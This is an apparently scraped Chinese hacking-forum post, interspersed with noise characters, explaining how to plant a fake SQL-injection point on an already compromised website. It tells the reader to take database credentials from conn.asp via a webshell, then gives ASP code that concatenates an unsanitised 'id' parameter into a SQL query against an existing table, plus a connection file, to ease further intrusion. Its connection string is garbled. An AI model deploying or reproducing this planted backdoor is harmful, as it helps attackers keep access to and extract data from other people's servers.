自己构造注入点方便入侵' V5 n5 R) O! }& ^2 O
8 y! b1 W w' c& B: o今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息7 |# d+ ^0 s$ I, I' i* S+ V: o5 g& x3 u
( I1 @+ ?2 y6 B' H4 b' W
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
: u; @! Z; |) V* ~0 s* M, Z7 U5 I; k0 B9 k5 w! l. }' F
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和- m; T1 @$ X% t
- [. ~& l; s* ~8 L) j" `5 w# ^5 f密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
7 |0 f2 N. u& }6 b1 S1 [
9 Y3 l& C" ~# Q( T b* P因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:( F7 }5 d9 \$ ^. P4 @6 M! Z
- _1 |. b& h7 p1 \3 h2 [1 Q
程序代码& ]( M! O" `) h$ e
<!--#include file="xx.asp"-->0 I: R2 ?; i: }, M" e3 O; n. @8 i
<%
b: ]" _* C+ aset rs=server.createobject("ADODB.recordset")* h6 A+ v) m2 Y4 O0 a
id = request("id")
3 t3 T0 [2 c8 Y; zstrSQL = "select * from admin where id=" & id3 A5 G/ b8 }5 ]$ y' e& H3 v
rs.open strSQL,conn,1,3, j) D! Y! | ]
rs.close* k& n# a7 K" Z6 g1 ~, x
%>
% r* z+ T$ v. M- Q5 N8 X9 V2 D( Q$ T; f$ U; ]" n
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
) l1 v, ]% W0 Q# q# }
7 X- m0 z: L# D5 S你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
. M% N& H8 z5 b1 v' U. T& X ^; `1 r- X: K3 [
然后就要构造一个连接数据库的文件了,代码如下: ?8 L3 k% I- M4 M" ~
程序代码0 ~6 K/ X& w+ {& v/ p! y0 i( G6 `
<% * R3 W, G) v: [9 {" }
strSQLServerName = "000.000.000.000" '服务器名称或地址
. n& g/ {7 `% J9 CstrSQLDBUserName = "sqlname" '数据库帐号1 A+ z+ D. Z* _* w# `3 q6 K
strSQLDBPassword = "sqlpass" '数据库密码3 x$ S$ p% K; I6 Y
strSQLDBName = "sqldataname" '数据库名称5 h0 i( g* L1 \( u5 I
Set conn = Server.CreateObject("ADODB.Connection") P4 c/ Y3 U+ W7 |* _! [
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";") a( |$ ]: V/ R8 Y& V
conn.open strCon
. y/ i0 y- D; j: R+ |%>
2 ^; T8 s# u# t( ^+ v
" {# B3 N* b( e0 ]! {$ C5 a这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,; X* z- R7 C2 ^; o8 x p
- y D1 u( I" B' T6 v3 i
就这样,正常情况下,就OK了,伪造成功……
m) S. R/ q. J6 N9 o K5 p" S
9 r! Q) Z! G$ j5 t$ [. |0 I& ? 如果有什么问题可以提出来大家一起探讨解决。 |